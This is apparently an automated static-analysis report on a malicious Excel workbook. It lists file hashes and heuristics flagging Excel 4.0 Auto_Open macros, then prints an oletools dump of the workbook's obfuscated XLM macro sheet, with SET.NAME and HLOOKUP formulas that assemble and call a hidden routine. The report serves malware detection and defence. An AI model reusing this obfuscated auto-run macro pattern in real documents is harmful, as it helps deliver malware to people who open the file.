Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fb49278bdb6a397…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:39:45 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 314e9ccc3cc4488c6037830d5e52eb16 SHA-1: 5304ba0ff96d097891ae99fed8a52b6ab148459d SHA-256: 6fb49278bdb6a397b27df49213bbcfe9c8ce7bb0db9b7f08659ba4972fe4ee4e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: 6753bcf75d585f9320e0e9efc38d3d72d67f12a8eb21cf24e212ce52f2f0ef85
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DdzgBl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E165 
' 0018     21 LABEL : Cell Value, String Constant - DjZKUQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - hKxyWgq len=0 
' 0018     21 LABEL : Cell Value, String Constant - KiFpMv len=0 
' 0018     25 LABEL : Cell Value, String Constant - LAgmEPpksF len=0 
' 0018     25 LABEL : Cell Value, String Constant - LJGRYDRQKg len=0 
' 0018     22 LABEL : Cell Value, String Constant - mcBbviC len=0 
' 0018     25 LABEL : Cell Value, String Constant - OdgonDGXzy len=0 
' 0018     26 LABEL : Cell Value, String Constant - PNjCvbcfUif len=0 
' 0018     25 LABEL : Cell Value, String Constant - QIIwfFjgSo len=0 
' 0018     24 LABEL : Cell Value, String Constant - QmegEwvsd len=0 
' 0018     26 LABEL : Cell Value, String Constant - SOSYJDackIj len=0 
' 0018     21 LABEL : Cell Value, String Constant - splbuR len=0 
' 0018     26 LABEL : Cell Value, String Constant - utFWyzULBRN len=0 
' 0018     20 LABEL : Cell Value, String Constant - WRYIQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - xMCACh len=0 
' 0018     21 LABEL : Cell Value, String Constant - xOpdpL len=0 
' 0018     22 LABEL : Cell Value, String Constant - XYCVOZY len=0 
' 0018     22 LABEL : Cell Value, String Constant - YpDOlou len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZgHnIzvKua len=0 
' 0018     27 LABEL : Cell Value, String Constant - zjzGdkdtdYHr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DdzgBl,T71,"",-377.00000000000000000000
'  DdzgBl,T72,"",-783.00000000000000000000
'  DdzgBl,T73,"",-183.00000000000000000000
'  DdzgBl,T74,"",322.00000000000000000000
'  DdzgBl,E75,"SET.NAME("QIIwfFjgSo",0+VALUE("0"))",""
'  DdzgBl,T75,"",-510.00000000000000000000
'  DdzgBl,T76,"",-404.00000000000000000000
'  DdzgBl,E77,"SET.NAME("SOSYJDackIj",QIIwfFjgSo)",""
'  DdzgBl,E79,"SET.NAME("LJGRYDRQKg",QIIwfFjgSo)",""
'  DdzgBl,E81,"SET.NAME("YpDOlou",COUNTA(DjZKUQ))",""
'  DdzgBl,E85,"SET.NAME("hKxyWgq",COUNTA(xMCACh))",""
'  DdzgBl,E90,[],""
'  DdzgBl,E93,"SET.NAME("utFWyzULBRN","")",""
'  DdzgBl,E98,"SOSYJDackIj",""
'  DdzgBl,E101,"SET.NAME("LAgmEPpksF",HLOOKUP("*",DjZKUQ,SOSYJDackIj,FALSE))",""
'  DdzgBl,E103,"QmegEwvsd",""
'  DdzgBl,E107,"SET.NAME("xOpdpL",QIIwfFjgSo)",""
'  DdzgBl,E111,[],""
'  DdzgBl,E114,"xOpdpL",""
'  DdzgBl,E119,"OdgonDGXzy",""
'  DdzgBl,E122,"splbuR",""
'  DdzgBl,E125,"zjzGdkdtdYHr",""
'  DdzgBl,E129,"SET.NAME("PNjCvbcfUif",VALUE(HLOOKUP("*",xMCACh,zjzGdkdtdYHr,FALSE)))",""
'  DdzgBl,E132,"mcBbviC",""
'  DdzgBl,E135,"utFWyzULBRN",""
'  DdzgBl,E139,"LJGRYDRQKg",""
'  DdzgBl,E143,NEXT(),""
'  DdzgBl,E148,"ZgHnIzvKua",""
'  DdzgBl,E152,[],""
'  DdzgBl,E154,"KiFpMv",""
'  DdzgBl,E159,NEXT(),""
'  DdzgBl,E162,RETURN(),""
'  DdzgBl,E193,"SET.NAME("XYCVOZY",E75)",""
'  DdzgBl,E196,"DjZKUQ",""
'  DdzgBl,E198,"SET.NAME("xMCACh",R65C12)",""
'  DdzgBl,E200,"SET.NAME("KiFpMv",207)",""
'  DdzgBl,E203,"SET.NAME("WRYIQ",5)",""
'  DdzgBl,E206,XYCVOZY(),""
'  DdzgBl,E207,HALT(),""

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